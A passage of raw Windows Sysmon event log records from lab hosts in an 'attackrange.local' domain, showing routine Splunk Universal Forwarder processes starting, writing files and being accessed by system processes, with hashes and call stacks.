DDK providerSplunkMonNoHandle.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000038477Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:17.033{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=95DE6CECE5AA5C2A962317EEF4CE83BC,SHA256=59438BE13F490D0B92D85A02530A997854B9FA68C4FF27E9D106F75AF09E52A0,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038476Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:17.018{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5D4F90200E7056035DBB0D7CFEC939C1,SHA256=A85DF7374917252B4586D503CA1CEB20A03D77E48BD394572CCEE0A8186E4E72,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013638Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:18.139{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5F1D03F0689B201703FF9E3FC502E8FB,SHA256=EAF9C707327F0E7AF4C12226CF86BE6A6E5F309C9437D92E87DA8B18667E2703,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000038504Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:18.893{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-6F06-613B-2407-00000000F001}3944C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038503Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:18.877{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038502Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:18.877{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038501Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:18.877{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038500Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:18.877{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038499Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:18.877{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F06-613B-2407-00000000F001}3944C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038498Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:18.877{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-6F06-613B-2407-00000000F001}3944C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000038497Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:18.878{7BD73061-6F06-613B-2407-00000000F001}3944C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000038496Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:18.721{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=3A1EB39E89784085BFAB5EB802EFC450,SHA256=29BB58F0DE5372339299B5A4CDE462B32D433F5C18F555EC2BA8F5732E09CB85,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000038495Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:18.346{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-6F06-613B-2307-00000000F001}6216C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038494Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:18.346{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038493Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:18.346{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038492Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:18.346{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038491Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:18.346{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038490Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:18.346{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F06-613B-2307-00000000F001}6216C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038489Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:18.346{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-6F06-613B-2307-00000000F001}6216C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000038488Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:18.347{7BD73061-6F06-613B-2307-00000000F001}6216C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000038487Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:18.129{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=0EA328E72970834868AC6B85FC5AC3A7,SHA256=BC1F122D10105D2A2C9C807F4D4650020725E2964E5536279B8450CD315B6B69,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038486Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:18.034{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7452B1F8F1F4A8310DB5B3EDD3F860BE,SHA256=870A48E2EFBEF0B59D7DA3B057CCC2AA1590AEFD33019C4199992467D120AFD9,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013639Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:19.170{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=69BBFE6DDE06025B408E339F2611F527,SHA256=F829E3C0F61F449CCC05113EB670E5F2046A7B2A68D5E3B982D19D0C3BFD0A08,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038517Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:19.893{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=569F550564821371133AC6E834E31865,SHA256=7B6E3842B01FE2D174D0AFD7E2B0664B78736B257E3D57D929FBB5EBCBF981E0,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000038516Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:19.690{7BD73061-6F07-613B-2507-00000000F001}5801092C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038515Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:19.549{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-6F07-613B-2507-00000000F001}580C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038514Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:19.549{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038513Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:19.549{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038512Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:19.549{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038511Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:19.549{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038510Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:19.549{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F07-613B-2507-00000000F001}580C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038509Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:19.549{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-6F07-613B-2507-00000000F001}580C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program 